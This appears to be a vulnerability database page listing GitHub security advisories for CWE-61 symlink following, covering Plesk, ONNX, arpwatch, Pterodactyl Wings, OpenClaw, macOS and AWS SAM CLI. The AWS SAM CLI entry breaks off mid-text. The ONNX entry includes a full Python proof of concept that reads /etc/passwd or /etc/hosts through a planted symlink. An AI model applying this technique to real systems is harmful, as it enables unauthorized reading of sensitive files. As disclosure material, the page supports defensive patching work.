Common Weakness Enumeration

CWE-61

Allowed

UNIX Symbolic Link (Symlink) Following

Abstraction: Compound · Status: Incomplete

API response cwe.mitre.org

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.

270 vulnerabilities reference this CWE, most recent first.

GHSA-MP85-3986-VF9P

Vulnerability from github – Published: 2025-12-03 18:30 – Updated: 2025-12-03 18:30
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Details

WebPros Plesk before 18.0.73.5 and 18.0.74 before 18.0.74.2 on Linux allows remote authenticated users to execute arbitrary code as root via domain creation. The attacker needs "Create and manage sites" with "Domains management" and "Subdomains management."

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
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  "affected": [],
  "aliases": [
    "CVE-2025-66431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T17:15:54Z",
    "severity": "HIGH"
  },
  "details": "WebPros Plesk before 18.0.73.5 and 18.0.74 before 18.0.74.2 on Linux allows remote authenticated users to execute arbitrary code as root via domain creation. The attacker needs \"Create and manage sites\" with \"Domains management\" and \"Subdomains management.\"",
  "id": "GHSA-mp85-3986-vf9p",
  "modified": "2025-12-03T18:30:26Z",
  "published": "2025-12-03T18:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66431"
    },
    {
      "type": "WEB",
      "url": "https://docs.plesk.com/release-notes/obsidian/change-log/#plesk-18074"
    },
    {
      "type": "WEB",
      "url": "https://docs.plesk.com/release-notes/obsidian/whats-new"
    },
    {
      "type": "WEB",
      "url": "https://support.plesk.com/hc/en-us/articles/36494997377687--CVE-2025-66431-Security-vulnerability-in-domain-creation-mechanism-allows-Plesk-users-to-execute-arbitrary-code-on-behalf-of-root"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P433-9WV8-28XJ

Vulnerability from github – Published: 2026-04-01 21:14 – Updated: 2026-06-08 18:37
VLAI
Summary
ONNX: External Data Symlink Traversal
Details

Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: onnx/onnx/checker.cc: resolve_external_data_location used via Python onnx.external_data_helper.load_external_data_for_model. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause - The function resolve_external_data_location(base_dir, location, tensor_name) intends to ensure that external data files reside within base_dir. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects .. - Builds data_path = base_dir / relative_path - Checks exists(data_path) and is_regular_file(data_path) - However, std::filesystem::is_regular_file(path) follows symlinks to their targets. A symlink placed inside base_dir that points to a file outside base_dir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: auto relative_path = file_path.lexically_normal().make_preferred(); - Existence: std::filesystem::exists(data_path) - Regular file check: std::filesystem::is_regular_file(data_path) - Returned path is later opened in Python: external_data_helper.load_external_data_for_tensor.

Proof of Concept (PoC) - File: onnx_external_data_symlink_traversal_poc.py - Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls load_external_data_for_model(model, base_dir). Confirms that tensor.raw_data contains content from the target outside the model directory. - Run: - python3 onnx_external_data_symlink_traversal_poc.py - Expected: [!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir

onnx_external_data_symlink_traversal_poc.py

#!/usr/bin/env python3
"""
ONNX External Data Symlink Traversal PoC

Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location)
does not reject symlinks. A relative location that is a symlink inside the
model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside model_dir when external data files are
obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC:
 - Creates a model with a tensor using external_data location 'tensor.bin'
 - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts)
 - Calls load_external_data_for_model(model, base_dir)
 - Confirms that tensor.raw_data contains the content of the outside file

Safe: only reads a benign system file if present.
"""

import os
import sys
import tempfile
import pathlib

# Ensure we import installed onnx, not the local cloned package
_here = os.path.dirname(os.path.abspath(__file__))
if _here in sys.path:
    sys.path.remove(_here)

import onnx
from onnx import helper, TensorProto
from onnx.external_data_helper import (
    set_external_data,
    load_external_data_for_model,
)


def pick_target_file():
    candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"]
    for p in candidates:
        if os.path.exists(p) and os.path.isfile(p):
            return p
    raise RuntimeError("No suitable readable system file found for this PoC")


def build_model_with_external(location: str):
    # A 1D tensor; data will be filled from external file
    tensor = helper.make_tensor(
        name="X_ext",
        data_type=TensorProto.UINT8,
        dims=[0],  # dims will be inferred after raw_data is read
        vals=[],
    )
    # add dummy raw_data then set_external_data to mark as external
    tensor.raw_data = b"dummy"
    set_external_data(tensor, location=location)

    # Minimal graph that just feeds the initializer as Constant
    const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor)
    graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)])
    model = helper.make_model(graph)
    return model


def main():
    base = tempfile.mkdtemp(prefix="onnx_symlink_poc_")
    model_dir = base
    link_name = os.path.join(model_dir, "tensor.bin")

    target = pick_target_file()
    print(f"[*] Using target file: {target}")

    # Create symlink in model_dir pointing outside
    try:
        pathlib.Path(link_name).symlink_to(target)
    except OSError as e:
        print(f"[!] Failed to create symlink: {e}")
        print("    This PoC needs symlink capability.")
        return 1

    # Build model referencing the relative location 'tensor.bin'
    model = build_model_with_external(location="tensor.bin")

    # Use in-memory model; explicitly load external data from base_dir
    loaded = model
    print("[*] Loading external data into in-memory model...")
    try:
        load_external_data_for_model(loaded, base_dir=model_dir)
    except Exception as e:
        print(f"[!] load_external_data_for_model raised: {e}")
        return 1

    # Validate that raw_data came from outside file by checking a prefix
    raw = None
    # Search initializers
    for t in loaded.graph.initializer:
        if t.name == "X_ext" and t.HasField("raw_data"):
            raw = t.raw_data
            break
    # Search constant attributes if not found
    if raw is None:
        for node in loaded.graph.node:
            for attr in node.attribute:
                if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"):
                    raw = attr.t.raw_data
                    break
            if raw is not None:
                break
    if raw is None:
        print("[?] Did not find raw_data on tensor; PoC inconclusive")
        return 2

    with open(target, "rb") as f:
        target_prefix = f.read(32)
    if raw.startswith(target_prefix):
        print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir")
        print(f"      Symlink {link_name} -> {target}")
        return 0
    else:
        print("[?] Raw data did not match target prefix; environment-specific behavior")
        return 3


if __name__ == "__main__":
    sys.exit(main())
Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34447"
  ],
  "database_specific": {
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      "CWE-22",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:14:00Z",
    "nvd_published_at": "2026-04-01T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "Summary\n- Issue: Symlink traversal in external data loading allows reading files outside the model directory.\n- Affected code: `onnx/onnx/checker.cc: resolve_external_data_location` used via Python `onnx.external_data_helper.load_external_data_for_model`.\n- Impact: Arbitrary file read (confidentiality breach) when a model\u2019s external data path resolves to a symlink targeting a file outside the model directory.\n\nRoot Cause\n- The function `resolve_external_data_location(base_dir, location, tensor_name)` intends to ensure that external data files reside within `base_dir`. It:\n  - Rejects empty/absolute paths\n  - Normalizes the relative path and rejects `..`\n  - Builds `data_path = base_dir / relative_path`\n  - Checks `exists(data_path)` and `is_regular_file(data_path)`\n- However, `std::filesystem::is_regular_file(path)` follows symlinks to their targets. A symlink placed inside `base_dir` that points to a file outside `base_dir` will pass the checks and be returned. The Python loader then opens the path and reads the target file.\n\nCode Reference\n- File: onnx/onnx/checker.cc:970-1060\n- Key logic:\n  - Normalization: `auto relative_path = file_path.lexically_normal().make_preferred();`\n  - Existence: `std::filesystem::exists(data_path)`\n  - Regular file check: `std::filesystem::is_regular_file(data_path)`\n  - Returned path is later opened in Python: `external_data_helper.load_external_data_for_tensor`.\n\nProof of Concept (PoC)\n- File: `onnx_external_data_symlink_traversal_poc.py`\n- Behavior: Creates a model with an external tensor pointing to `tensor.bin`. In the model directory, creates `tensor.bin` as a symlink to `/etc/hosts` (or similar). Calls `load_external_data_for_model(model, base_dir)`. Confirms that `tensor.raw_data` contains content from the target outside the model directory.\n- Run:\n  - `python3 onnx_external_data_symlink_traversal_poc.py`\n  - Expected: `[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir`\n\nonnx_external_data_symlink_traversal_poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nONNX External Data Symlink Traversal PoC\n\nFinding: load_external_data_for_model() (via c_checker._resolve_external_data_location)\ndoes not reject symlinks. A relative location that is a symlink inside the\nmodel directory can target a file outside the directory and will be read.\n\nImpact: Arbitrary file read outside model_dir when external data files are\nobtained from attacker-controlled archives (zip/tar) that create symlinks.\n\nThis PoC:\n - Creates a model with a tensor using external_data location \u0027tensor.bin\u0027\n - Creates \u0027tensor.bin\u0027 as a symlink to a system file (e.g., /etc/hosts)\n - Calls load_external_data_for_model(model, base_dir)\n - Confirms that tensor.raw_data contains the content of the outside file\n\nSafe: only reads a benign system file if present.\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport pathlib\n\n# Ensure we import installed onnx, not the local cloned package\n_here = os.path.dirname(os.path.abspath(__file__))\nif _here in sys.path:\n    sys.path.remove(_here)\n\nimport onnx\nfrom onnx import helper, TensorProto\nfrom onnx.external_data_helper import (\n    set_external_data,\n    load_external_data_for_model,\n)\n\n\ndef pick_target_file():\n    candidates = [\"/etc/hosts\", \"/etc/passwd\", \"/System/Library/CoreServices/SystemVersion.plist\"]\n    for p in candidates:\n        if os.path.exists(p) and os.path.isfile(p):\n            return p\n    raise RuntimeError(\"No suitable readable system file found for this PoC\")\n\n\ndef build_model_with_external(location: str):\n    # A 1D tensor; data will be filled from external file\n    tensor = helper.make_tensor(\n        name=\"X_ext\",\n        data_type=TensorProto.UINT8,\n        dims=[0],  # dims will be inferred after raw_data is read\n        vals=[],\n    )\n    # add dummy raw_data then set_external_data to mark as external\n    tensor.raw_data = b\"dummy\"\n    set_external_data(tensor, location=location)\n\n    # Minimal graph that just feeds the initializer as Constant\n    const_node = helper.make_node(\"Constant\", inputs=[], outputs=[\"out\"], value=tensor)\n    graph = helper.make_graph([const_node], \"g\", inputs=[], outputs=[helper.make_tensor_value_info(\"out\", TensorProto.UINT8, None)])\n    model = helper.make_model(graph)\n    return model\n\n\ndef main():\n    base = tempfile.mkdtemp(prefix=\"onnx_symlink_poc_\")\n    model_dir = base\n    link_name = os.path.join(model_dir, \"tensor.bin\")\n\n    target = pick_target_file()\n    print(f\"[*] Using target file: {target}\")\n\n    # Create symlink in model_dir pointing outside\n    try:\n        pathlib.Path(link_name).symlink_to(target)\n    except OSError as e:\n        print(f\"[!] Failed to create symlink: {e}\")\n        print(\"    This PoC needs symlink capability.\")\n        return 1\n\n    # Build model referencing the relative location \u0027tensor.bin\u0027\n    model = build_model_with_external(location=\"tensor.bin\")\n\n    # Use in-memory model; explicitly load external data from base_dir\n    loaded = model\n    print(\"[*] Loading external data into in-memory model...\")\n    try:\n        load_external_data_for_model(loaded, base_dir=model_dir)\n    except Exception as e:\n        print(f\"[!] load_external_data_for_model raised: {e}\")\n        return 1\n\n    # Validate that raw_data came from outside file by checking a prefix\n    raw = None\n    # Search initializers\n    for t in loaded.graph.initializer:\n        if t.name == \"X_ext\" and t.HasField(\"raw_data\"):\n            raw = t.raw_data\n            break\n    # Search constant attributes if not found\n    if raw is None:\n        for node in loaded.graph.node:\n            for attr in node.attribute:\n                if attr.HasField(\"t\") and attr.t.name == \"X_ext\" and attr.t.HasField(\"raw_data\"):\n                    raw = attr.t.raw_data\n                    break\n            if raw is not None:\n                break\n    if raw is None:\n        print(\"[?] Did not find raw_data on tensor; PoC inconclusive\")\n        return 2\n\n    with open(target, \"rb\") as f:\n        target_prefix = f.read(32)\n    if raw.startswith(target_prefix):\n        print(\"[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir\")\n        print(f\"      Symlink {link_name} -\u003e {target}\")\n        return 0\n    else:\n        print(\"[?] Raw data did not match target prefix; environment-specific behavior\")\n        return 3\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n\n```",
  "id": "GHSA-p433-9wv8-28xj",
  "modified": "2026-06-08T18:37:35Z",
  "published": "2026-04-01T21:14:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-p433-9wv8-28xj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34447"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-104.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: External Data Symlink Traversal"
}

GHSA-P5JF-RF9M-P26H

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-10-26 12:00
VLAI
Details

A UNIX Symbolic Link (Symlink) Following vulnerability in arpwatch of SUSE Linux Enterprise Server 11-SP4-LTSS, SUSE Manager Server 4.0, SUSE OpenStack Cloud Crowbar 9; openSUSE Factory, Leap 15.2 allows local attackers with control of the runtime user to run arpwatch as to escalate to root upon the next restart of arpwatch. This issue affects: SUSE Linux Enterprise Server 11-SP4-LTSS arpwatch versions prior to 2.1a15. SUSE Manager Server 4.0 arpwatch versions prior to 2.1a15. SUSE OpenStack Cloud Crowbar 9 arpwatch versions prior to 2.1a15. openSUSE Factory arpwatch version 2.1a15-169.5 and prior versions. openSUSE Leap 15.2 arpwatch version 2.1a15-lp152.5.5 and prior versions.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2021-25321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-30T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "A UNIX Symbolic Link (Symlink) Following vulnerability in arpwatch of SUSE Linux Enterprise Server 11-SP4-LTSS, SUSE Manager Server 4.0, SUSE OpenStack Cloud Crowbar 9; openSUSE Factory, Leap 15.2 allows local attackers with control of the runtime user to run arpwatch as to escalate to root upon the next restart of arpwatch. This issue affects: SUSE Linux Enterprise Server 11-SP4-LTSS arpwatch versions prior to 2.1a15. SUSE Manager Server 4.0 arpwatch versions prior to 2.1a15. SUSE OpenStack Cloud Crowbar 9 arpwatch versions prior to 2.1a15. openSUSE Factory arpwatch version 2.1a15-169.5 and prior versions. openSUSE Leap 15.2 arpwatch version 2.1a15-lp152.5.5 and prior versions.",
  "id": "GHSA-p5jf-rf9m-p26h",
  "modified": "2022-10-26T12:00:31Z",
  "published": "2022-05-24T19:06:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25321"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1186240"
    }
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      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6RM-7R2C-W38X

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-03 00:00
VLAI
Details

a UNIX Symbolic Link (Symlink) Following vulnerability in python-postorius of openSUSE Leap 15.2, Factory allows local attackers to escalate from users postorius or postorius-admin to root. This issue affects: openSUSE Leap 15.2 python-postorius version 1.3.2-lp152.1.2 and prior versions. openSUSE Factory python-postorius version 1.3.4-2.1 and prior versions.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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  "affected": [],
  "aliases": [
    "CVE-2021-31997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-10T12:15:00Z",
    "severity": "HIGH"
  },
  "details": "a UNIX Symbolic Link (Symlink) Following vulnerability in python-postorius of openSUSE Leap 15.2, Factory allows local attackers to escalate from users postorius or postorius-admin to root. This issue affects: openSUSE Leap 15.2 python-postorius version 1.3.2-lp152.1.2 and prior versions. openSUSE Factory python-postorius version 1.3.4-2.1 and prior versions.",
  "id": "GHSA-p6rm-7r2c-w38x",
  "modified": "2022-07-03T00:00:23Z",
  "published": "2022-05-24T19:04:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31997"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1182407"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P8R3-83R8-JWJ5

Vulnerability from github – Published: 2023-02-08 18:19 – Updated: 2023-02-08 22:40
VLAI
Summary
Pterodactyl Wings contains UNIX Symbolic Link (Symlink) Following
Details

Impact

This vulnerability impacts anyone running the affected versions of Wings. The vulnerability can be used to create new files and on the host system that previously did not exist, potentially allowing attackers to change their resource allocations, promote their containers to privileged mode, or potentially add ssh authorized keys to allow the attacker access to a remote shell on the target machine.

In order to use this exploit, an attacker must have an existing "server" allocated and controlled by Wings. Information on how the exploitation of this vulnerability works will be released on February 24th, 2023 in North America.

Patches

This vulnerability has been resolved in version v1.11.3 of Wings, and has been back-ported to the 1.7 release series in v1.7.3.

Anyone running v1.11.x should upgrade to v1.11.3 and anyone running v1.7.x should upgrade to v1.7.3.

Workarounds

None at this time.

Severity
8.4 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:H
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  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pterodactyl/wings"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-08T18:19:56Z",
    "nvd_published_at": "2023-02-08T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThis vulnerability impacts anyone running the affected versions of Wings.  The vulnerability can be used to create new files and on the host system that previously did not exist, potentially allowing attackers to change their resource allocations, promote their containers to privileged mode, or potentially add ssh authorized keys to allow the attacker access to a remote shell on the target machine.\n\nIn order to use this exploit, an attacker must have an existing \"server\" allocated and controlled by Wings.  Information on how the exploitation of this vulnerability works will be released on February 24th, 2023 in North America.\n\n### Patches\n\nThis vulnerability has been resolved in version `v1.11.3` of Wings, and has been back-ported to the 1.7 release series in `v1.7.3`.\n\nAnyone running `v1.11.x` should upgrade to `v1.11.3` and anyone running `v1.7.x` should upgrade to `v1.7.3`.\n\n### Workarounds\n\nNone at this time.",
  "id": "GHSA-p8r3-83r8-jwj5",
  "modified": "2023-02-08T22:40:37Z",
  "published": "2023-02-08T18:19:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-p8r3-83r8-jwj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25152"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/commit/dac9685298c3c1c49b3109fa4241aa88272b9f14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pterodactyl/wings"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/releases/tag/v1.11.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pterodactyl/wings/releases/tag/v1.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pterodactyl Wings contains UNIX Symbolic Link (Symlink) Following"
}

GHSA-PMF3-2Q63-JMP6

Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-18 00:42
VLAI
Summary
Duplicate Advisory: OpenClaw: Symlink Traversal via IDENTITY.md appendFile in agents.create/update (Incomplete Fix for CVE-2026-32013)
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-7xr2-q9vf-x4r5. This link is maintained to preserve external references.

Original Description

OpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.

Severity
7.1 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
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  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T00:42:18Z",
    "nvd_published_at": "2026-04-09T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-7xr2-q9vf-x4r5. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw through 2026.2.22 contains a symlink traversal vulnerability in agents.create and agents.update handlers that use fs.appendFile on IDENTITY.md without symlink containment checks. Attackers with workspace access can plant symlinks to append attacker-controlled content to arbitrary files, enabling remote code execution via crontab injection or unauthorized access via SSH key manipulation.",
  "id": "GHSA-pmf3-2q63-jmp6",
  "modified": "2026-04-18T00:42:18Z",
  "published": "2026-04-10T00:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7xr2-q9vf-x4r5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35632"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-symlink-traversal-via-identity-md-appendfile-in-agents-create-update"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw: Symlink Traversal via IDENTITY.md appendFile in agents.create/update (Incomplete Fix for CVE-2026-32013)",
  "withdrawn": "2026-04-18T00:42:18Z"
}

GHSA-PMRV-FMW3-5H6P

Vulnerability from github – Published: 2024-07-30 00:34 – Updated: 2026-04-02 21:31
VLAI
Details

This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sonoma 14.6. An app may be able to access protected user data.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2024-27872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-61"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-29T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sonoma 14.6. An app may be able to access protected user data.",
  "id": "GHSA-pmrv-fmw3-5h6p",
  "modified": "2026-04-02T21:31:47Z",
  "published": "2024-07-30T00:34:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27872"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120911"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214119"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PP64-WJ43-XQCR

Vulnerability from github – Published: 2025-03-31 22:36 – Updated: 2025-10-14 21:59
VLAI
Summary
AWS SAM CLI Path Traversal allows file copy to local cache
Details

Summary

The AWS Serverless Application Model Command Line Interface (AWS SAM CLI) is an open-source CLI tool that helps Lambda developers to build and develop Lambda applications locally on their computers using Docker.

After completing a build with AWS SAM CLI which include symlinks, the content of those symlinks are copied to the cache of the local workspace as regular files or directories. As a result, a user who does not have access to those symlinks outside of the Docker container would now have access via the local workspace.

Users should upgrade to v1.134.0 or newer and ensure any forked or derivative code is patched to incorporate the new fixes. After upgrading, users must re-build their applications using the sam build --use-container to update the symlinks.

Impact

The issue is limited to the local workspace and does not affect AWS services, production environments or cross-account resources. The issue only affects workspaces using the AWS SAM CLI with container builds (--use-container), potentially allowing access to content of linked files in the SAM CLI cache.

Impacted versions: <= AWS SAM CLI v1.133.0

Patches

The patches are included in AWS SAM CLI version to v1.134.0 and newer. Users should upgrade and ensure any forked or derivative code is patched to incorporate the new fixes. After upgrading, users must re-build their applications using the sam build --use-container to update the symlinks

Workarounds

There is no recommended work around. Customers are advised to upgrade to version v1.134.0 or the latest version.

References

CVE-2025-3048

If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Credit

We would like to thank Kevin Backhouse with the GitHub Security Lab for collaborating on this issue through the coordinated vulnerability disclosure process.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
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    {
      "package": {
        "ecosystem": "PyPI",
        "name": "aws-sam-cli"
      },
      "ranges": [
        {
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            {
              "introduced": "0"
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    "nvd_published_at": "2025-03-31T16:15:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe [AWS Serverless Application Model Command Line Interface (AWS SAM CLI)](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/using-sam-cli.html) is an open-source CLI tool that helps Lambda developers to build and develop Lambda applications locally on their computers using Docker.\n\nAfter completing a build with AWS SAM CLI which include symlinks, the content of those symlinks are copied to the cache of the local workspace as regular\u00a0files\u00a0or directories. As a result, a user who does not have access to those symlinks outside of the Docker container would now have access via the local workspace.\n\nUsers should [upgrade to v1.134.0 or newer](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/manage-sam-cli-versions.html#manage-sam-cli-versions-upgrade) and ensure any forked or derivative code is patched to incorporate the new fixes. After upgrading, users must re-build their applications using the `sam build --use-container` to update the symlinks.\n\n\n\n### Impact\n\nThe issue is limited to the local workspace and does not affect AWS services, production environments or cross-account resources. The issue only affects workspaces using the AWS SAM CLI with container builds (--use-container),\u00a0potentially allowing access to content of linked files in the SAM CLI cache.\n\n\n\n**Impacted versions:** \u003c= AWS SAM CLI v1.133.0\n\n\n\n### Patches\n\nThe patches are included in AWS SAM CLI  version to v1.134.0 and newer. Users should upgrade and ensure any forked or derivative code is patched to incorporate the new fixes. After upgrading, users must re-build their applications using the `sam build --use-container` to update the symlinks\n\n\n\n### Workarounds\n\nThere is no recommended work around. Customers are advised to upgrade to version v1.134.0 or the latest version.\n\n\n\n### References\n\nCVE-2025-3048\n\n---\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our [vulnerability reporting 